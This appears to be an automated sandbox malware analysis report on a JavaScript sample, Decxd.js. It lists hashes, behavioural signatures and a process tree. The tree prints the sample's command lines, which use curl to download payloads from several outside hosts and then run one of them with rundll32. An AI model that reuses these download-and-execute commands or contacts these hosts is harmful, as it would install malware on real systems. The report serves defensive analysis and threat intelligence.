Analysis

  • max time kernel
    143s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231130-enlocale:en-usos:windows10-2004-x64system
  • submitted
    11/12/2023, 15:08

General

  • Target

    Decxd.js

  • Size

    54KB

  • MD5

    7717e0d2d708361570f24a384356f710

  • SHA1

    8d0dcfbca9c624b6024f18169c971e4893d47dd4

  • SHA256

    3f05b9b7357d80922c36f9887ce7446ec76c5cddedea8e2a085c07dc33c27266

  • SHA512

    c1c04882622de1b9b72c8b1401981dbd7515b6d3452d4d706cd0b7686943c0e3fac00ec63a9783fb0eeee2bb64104b8449f8fdb03726bdc268f5874760e8eaa7

  • SSDEEP

    768:ckp1+VzQfwaA0Jbkz0CxzcXpKJ5DGF+4P15lsPH4NZw4dcBkMt/meob6K9d0e7B9:Jy6a1iDresrfi1/i57Hai9B

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Delays execution with timeout.exe 1 IoCs
  • Modifies system certificate store 2 TTPs 5 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Decxd.js
    1⤵
    • Checks computer location settings
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2436
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c mkdir C:\Jildlfgkks\Rgdbthdnser & curl https://liokinch.com/OxGDSlD/0.2568351355424261.dat --output C:\Jildlfgkks\Rgdbthdnser\Jrhrsrhdfrhse.OOOOOCCCCCXXXXX
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4532
      • C:\Windows\system32\curl.exe
        curl https://liokinch.com/OxGDSlD/0.2568351355424261.dat --output C:\Jildlfgkks\Rgdbthdnser\Jrhrsrhdfrhse.OOOOOCCCCCXXXXX
        3⤵
          PID:2308
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c mkdir C:\Jildlfgkks\Rgdbthdnser & curl https://graytoner.com/7U8YzwN/0.29264799611113873.dat --output C:\Jildlfgkks\Rgdbthdnser\Jrhrsrhdfrhse.OOOOOCCCCCXXXXX
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4472
        • C:\Windows\system32\curl.exe
          curl https://graytoner.com/7U8YzwN/0.29264799611113873.dat --output C:\Jildlfgkks\Rgdbthdnser\Jrhrsrhdfrhse.OOOOOCCCCCXXXXX
          3⤵
            PID:4268
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c mkdir C:\Jildlfgkks\Rgdbthdnser & curl https://rosceman.com/awPtEe/0.8933559644490198.dat --output C:\Jildlfgkks\Rgdbthdnser\Jrhrsrhdfrhse.OOOOOCCCCCXXXXX
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3164
          • C:\Windows\system32\curl.exe
            curl https://rosceman.com/awPtEe/0.8933559644490198.dat --output C:\Jildlfgkks\Rgdbthdnser\Jrhrsrhdfrhse.OOOOOCCCCCXXXXX
            3⤵
              PID:1572
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c mkdir C:\Jildlfgkks\Rgdbthdnser & curl 0.9195918914836145.dat --output C:\Jildlfgkks\Rgdbthdnser\Jrhrsrhdfrhse.OOOOOCCCCCXXXXX
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:400
            • C:\Windows\system32\curl.exe
              curl 0.9195918914836145.dat --output C:\Jildlfgkks\Rgdbthdnser\Jrhrsrhdfrhse.OOOOOCCCCCXXXXX
              3⤵
                PID:4876
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c mkdir C:\Jildlfgkks\Rgdbthdnser & curl 0.18302210978982075.dat --output C:\Jildlfgkks\Rgdbthdnser\Jrhrsrhdfrhse.OOOOOCCCCCXXXXX
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4836
              • C:\Windows\system32\curl.exe
                curl 0.18302210978982075.dat --output C:\Jildlfgkks\Rgdbthdnser\Jrhrsrhdfrhse.OOOOOCCCCCXXXXX
                3⤵
                  PID:1368
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c mkdir C:\Jildlfgkks\Rgdbthdnser & curl 0.5655900367630501.dat --output C:\Jildlfgkks\Rgdbthdnser\Jrhrsrhdfrhse.OOOOOCCCCCXXXXX
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1456
                • C:\Windows\system32\curl.exe
                  curl 0.5655900367630501.dat --output C:\Jildlfgkks\Rgdbthdnser\Jrhrsrhdfrhse.OOOOOCCCCCXXXXX
                  3⤵
                    PID:4012
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c timeout 10 & rundll32 C:\Jildlfgkks\Rgdbthdnser\Jrhrsrhdfrhse.OOOOOCCCCCXXXXX,Enter
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1672
                  • C:\Windows\system32\timeout.exe
                    timeout 10
                    3⤵
                    • Delays execution with timeout.exe
                    PID:3152
                  • C:\Windows\system32\rundll32.exe
                    rundll32 C:\Jildlfgkks\Rgdbthdnser\Jrhrsrhdfrhse.OOOOOCCCCCXXXXX,Enter
                    3⤵
                      PID:3168

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads